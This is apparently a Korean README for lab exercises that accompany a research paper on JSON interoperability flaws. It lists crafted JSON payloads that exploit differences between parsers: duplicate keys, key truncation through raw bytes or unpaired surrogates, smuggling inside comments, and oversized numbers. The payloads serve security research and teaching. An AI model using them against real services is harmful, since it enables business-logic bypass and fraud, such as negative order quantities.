
"JSON 상호운용성 취약점 탐구(An Exploration of JSON Interoperability Vulnerabilities)"의 동반 랩
이것은 제 연구 논문 "JSON 상호운용성 취약점에 대한 탐구"의 동반 실습 랩입니다.
이 랩들은 기본적으로 호스트 포트 5000-5004에 바인딩됩니다.
일관성 없는 중복 키 우선순위
{"qty": 1, "qty": -1}
문자 잘림
마지막 키 우선순위 파서에서의 잘림 (첫 번째 키 우선순위 파서의 경우 순서를 뒤집으세요)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
주석 잘림
이 문서들은 주석 및 따옴표 없는 문자열 지원의 비일관성을 악용합니다:
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
일관성 없는 큰 수 디코딩
이러한 큰 숫자 값은 문자열(예: "+Infinity")로 변환되어 타입 저글링(type-juggling) 취약점으로 이어질 수 있습니다. 또는 MAX_INT/MIN_INT, 반올림된 값, 0으로 변환되어 비즈니스 로직 우회를 허용할 수 있습니다.
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
Twitter: @theBumbleSec
GitHub: the-bumble